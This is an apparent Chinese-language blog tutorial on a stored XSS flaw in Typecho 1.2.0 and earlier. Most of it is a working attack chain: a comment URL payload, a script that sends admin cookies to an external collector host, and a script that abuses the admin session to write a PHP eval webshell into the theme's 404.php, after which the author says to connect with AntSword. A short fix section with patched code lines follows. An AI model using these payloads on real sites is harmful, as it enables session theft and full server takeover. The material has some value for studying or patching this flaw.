Typecho框架漏洞

这里说的框架漏洞只适用于1.2.0版本及以下的版本

这里说的漏洞是xss漏洞,学过渗透的应该都学过,我在这里就不过多阐述了,下面我们直接进入正题

直接在这个地方插入网址,后面再接上html代码即可,代码如下:

http://xxx.xxx.com/"\>\</a\>\<script\>alert("cookie")\</script\>\<a/href="#

然后再次访问时即可弹出一个框,这里学过xss漏洞的应该知道是什么意思了

接下来我要讲的是如何用这个xss漏洞反弹shell,这个方法我也是琢磨了很久才知道的,因为要用到js代码文件,代码文件如下:

cookie.js

javascript 复制代码
// 定义一个全局变量 website,值为一个具体的网址
var website = "http://xss.xxxx.com";
 
// 声明并立即执行一个匿名函数
(function() {
  // 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数
  (new Image()).src = website
    + "/?keepsession=1"
    + "&location=" + escape((function() {
      try {
        // 尝试获取当前文档的 URL
        return document.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&toplocation=" + escape((function() {
      try {
        // 尝试获取顶层窗口的 URL
        return top.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&cookie=" + escape((function() {
      try {
        // 获取当前文档的 cookie
        return document.cookie;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&opener=" + escape((function() {
      try {
        // 获取打开当前窗口的窗口的 URL
        return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })());
})();

shell.js

null 复制代码
function step1(){
    // 创建一个包含要注入的 iframe 的 HTML 字符串
    var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
    // 保存原网页内容
    var oldata=document.body.innerHTML;
    // 将注入的 iframe 添加到文档中
    document.body.innerHTML=(oldata+data2);
}
 
// times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
var times=0;
var g_shell=0;
 
function poc(){
    // 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行
    if(times<=10){
 
        // 获取要修改的 DOM 节点和触发"保存修改"操作的按钮
        var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
        var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
        
        // 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾
        olddatas=htmldata.innerText;
        htmldata.innerText=('<?php @eval($_REQUEST["shell"]);?>\n')+olddatas;
 
        // 点击保存按钮,提交修改后的数据
        btn[1].click();
        
        // 增加 poc 函数的执行次数
        times+=1;
        
        // 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口
        if(g_shell==1){
            var xhr1=new XMLHttpRequest();
            xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
            xhr1.send();
        }
        else{
            return 0;
        }
    }
}
 
// 在页面加载完成后执行 step1 函数
step1();

然后这里就像上面反弹xss代码一样书写网址

http://xxx.xxx.com/cookie.js"\>\</script\>\<script/src=http://xxx.xxx.com/shell.js\>\<a/href="#

然后等管理员访问评论是会使得js文件也给运行起来

生成的一句话目录路径可以自己改,上面的如下

在404.php中,这样路径的问题就解决了

这样我们就可以用蚁剑或其他工具连接后台了

修复方案

将Typecho更新至1.2.3以上的版本即可,因为官方已经修复了

手动修复

python 复制代码
// var/Widget/Base/Comments.php 第 271 行代码
echo '<a href="' . $this->url . '"'
// 修改为以下代码
echo '<a href="' . Common::safeUrl($this->url) . '"'

// var/Widget/Feedback.php 第 209 行代码
$comment['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$comment['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Feedback.php 第 308 行代码
$trackback['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$trackback['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Options.php 第 85 行代码
* @property bool $commentsRequireURL
// 修改为以下代码
* @property bool $commentsRequireUrl

// /var/Typecho/Validate.php 第 99 行代码
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
// 修改为以下代码
return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
相关推荐
码农12138号3 小时前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
诗句藏于尽头4 小时前
完成ssl不安全警告
网络协议·安全·ssl
独行soc9 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
Me4神秘10 小时前
Linux国产与国外进度对垒
linux·服务器·安全
老K(郭云开)10 小时前
谷歌浏览器安全输入控件-allWebSafeInput控件
安全
Whoisshutiao11 小时前
网安-XSS-pikachu
前端·安全·网络安全
还是奇怪12 小时前
Linux - 安全排查 2
linux·运维·安全
Clownseven17 小时前
云端备份与恢复策略:企业如何选择最安全的备份解决方案
安全
薄荷椰果抹茶20 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
HumanRisk1 天前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全